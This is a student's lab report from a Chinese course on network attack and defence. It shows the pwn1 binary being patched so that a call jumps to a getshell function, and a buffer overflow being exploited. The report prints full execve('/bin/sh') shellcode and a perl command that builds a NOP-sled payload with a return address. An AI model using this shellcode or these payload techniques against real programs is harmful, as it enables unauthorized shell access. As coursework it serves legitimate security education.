2018-2019-2 《网络对抗技术》Exp1 PC平台逆向破解 20165222
Exp1 PC平台逆向破解
1,掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
NOP:空指令,作用就是直接跳到下一指令。机器码为:90。

JNE:判断0标志位,不等于0跳转。机器码为:75。

JE:判断0标志位,等于0跳转。机器码为:74。

JMP:无条件跳转。机器码为:eb。

CMP:比较后面两个值,即第一个减第二个,只影响标志位。机器码为:83。

2,掌握反汇编与十六进制编程器
反汇编:objdump 加各种参数,管道符号,重定向符等,这里不一一列出。
十六进制编程器:

3,能正确修改机器指令改变程序执行流程。


由图可知foo函数的地址为8048491,getshell为804847d,用windows下程序员计算器16进制相减=14,d7-14=c3;因此将d7位置改为c3。
先vi 进入可执行文件,再%!xxd转为16进制,找到d7改为c3,最后%!xxd -r 转回去wq保存。当然该过程也可通过16进制编程器进行。
结果如下:


4,能正确构造payload进行bof攻击。
(1)通过构造输入参数,造成BOF攻击,改变程序执行流。
需要进行攻击的函数反汇编代码如下:

由代码可知,第一行代码将原函数栈底指针压栈,第二行代码用esp和edp两指针来开始操作foo函数,第三行esp移动到0x38位置,第四五行则是把eax和esp移动到0x1c的位置,第六行通俗的讲就是一个写入函数,把我的输入从0x1c写到0x38的位置,到这里后面的输出等代码就可不用分析,就已经找到缓冲区的大小了,即0x38-0x1c=28字节,然后加上存储下一条指令的寄存器的大小4字节,总计32字节。
结果如下:

当然,无法直观分析出缓冲区大小的话,可以通过gdb调试慢慢套出来。如下图:可见1234出了问题。

(2)注入shellcode并执行。
直接使用实验中给的shellcode,如下:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
先做好准备工作:

采用nop+shellcode+retaddr方法,确定返回值的地址。
方法为通过
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
注入,再用gdb调试,找到1234的位置,我的如图所示:

可见01020304就在0xffffd2fc附近,加4得0xffffd300,则该位置为我的shellcode得起始位置。
因此构建以0xffffd300为返回位置的shellcode,成功。如图:

实验收获与感想
虽说这次实验比较简单,但收获相当大。
一是课堂上有些没弄明白的地方,通过自己做实验都弄明白了。
二是发现了一个有趣的东西,如下图:


尽管第二个的机械码一看就有点问题,但还是不清楚为什么会出现这种情况。
三是通过自学汇编,已经能够分析出本次实验的缓冲区大小。
什么是漏洞?漏洞有什么危害?
我认为漏洞就是系统,软件乃至硬件存在的在设计过程中的或者在协议通信过程中等方面存在的不安全,易被别人用来进行破坏或牟利的东西。
危害:可能会导致泄露隐私,系统或文件遭到加密或破坏,cpu被他人利用。
2018-2019-2 《网络对抗技术》Exp1 PC平台逆向破解 20165222的更多相关文章
- 20155324《网络对抗》Exp1 PC平台逆向破解(5)M
20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...
- 20155232《网络对抗》 Exp1 PC平台逆向破解(5)M
20155232<网络对抗> Exp1 PC平台逆向破解(5)M 实验内容 (1).掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(1分) (2)掌握反汇编与十六进制编程 ...
- 20155227《网络对抗》Exp1 PC平台逆向破解(5)M
20155227<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...
- 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解
2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...
- 20155208徐子涵 《网络对抗》Exp1 PC平台逆向破解
20155208徐子涵 <网络对抗>Exp1 PC平台逆向破解 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...
- 20145325张梓靖 《网络对抗技术》 PC平台逆向破解
20145325张梓靖 <网络对抗技术> PC平台逆向破解 学习任务 shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并 ...
- # 《网络对抗》Exp1 PC平台逆向破解20155337祁家伟
<网络对抗>Exp1 PC平台逆向破解20155337祁家伟 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会 ...
- 20145206邹京儒《网络对抗技术》 PC平台逆向破解
20145206邹京儒<网络对抗技术> PC平台逆向破解 注入shellcode并执行 一.准备一段shellcode 二.设置环境 具体在终端中输入如下: apt-cache searc ...
- 20145331魏澍琛 《网络对抗技术》 PC平台逆向破解
20145331魏澍琛 <网络对抗技术> PC平台逆向破解 学习任务 1.shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中 ...
- 20145336张子扬 《网络对抗技术》 PC平台逆向破解
#20145336张子扬 <网络对抗技术> PC平台逆向破解 ##Shellcode注入 **基础知识** Shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对 ...
随机推荐
- NodeJS学习笔记三
map map对象是一个简单的键/值映射.任何值(包括对象和原始值)都可以用作一个键或一个值. var m = new Map(); var o = {p: "Hello World&quo ...
- Linq to Sharepoint--如何获取Linq Query 生成的CALM
我们知道Linq to sharepoint 实际最终还是转化成了CALM来对Sharepoint进行访问,那么我们怎样才能知道我们编写的Query语句最终转化成的CALM语句是什么样子呢. 我们可以 ...
- java线程初写,陆续更新中。。
(1)什么是线程?线程,是程序执行流的最小单元.线程是进程中的一个实体,是被系统独立调度和分派的基本单位,线程自己不拥有系统资源,只拥有一点儿在运行中必不可少的资源,但它可与同属一个进程的其它线程共享 ...
- 一次org.springframework.jdbc.BadSqlGrammarException ### Error querying database Cause: com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException问题排查过程
先说结论: 因为在表设计中有一个商品描述字段被设置为desc,但desc是mysql中的关键字,如select id,name,desc,price from product;这条sql语句在查询时的 ...
- facebook graph api 报错SSLError(1, u'[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:661)')
使用facebook graph api,报错如下 一开始以为是https证书验证失败,查了一下午源码,没有看到问题,于是把Python27\lib\site-packages\requests\ad ...
- 20145315 《Java程序设计》第五周学习总结
20145315 <Java程序设计>第五周学习总结 教材学习内容总结 第八章 8.1语法与继承架构 8.1.1使用try,catch 所有的错误都会被打包为对象,使用try,catch可 ...
- UVa 1635 无关的元素(唯一分解定理+二项式定理)
https://vjudge.net/problem/UVA-1635 题意: 给定n个数a1,a2,...an,依次求出相邻两数之和,将得到一个新数列.重复上述操作,最后结果将变成一个数.问这个数除 ...
- redis高可用 - Master&Slave
Master&Slave也就是我们所说的主从复制,即主机数据更新后根据配置和策略,自动同步到备机的机制.其中Master以写为主,Slave以读为主. Master&Slave的作用主 ...
- Java回顾之多线程
在这篇文章里,我们关注多线程.多线程是一个复杂的话题,包含了很多内容,这篇文章主要关注线程的基本属性.如何创建线程.线程的状态切换以及线程通信,我们把线程同步的话题留到下一篇文章中. 线程是操作系统运 ...
- HDU1565 方格取数 &&uva 11270 轮廓线DP
方格取数(1) Time Limit: 10000/5000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others)Total Su ...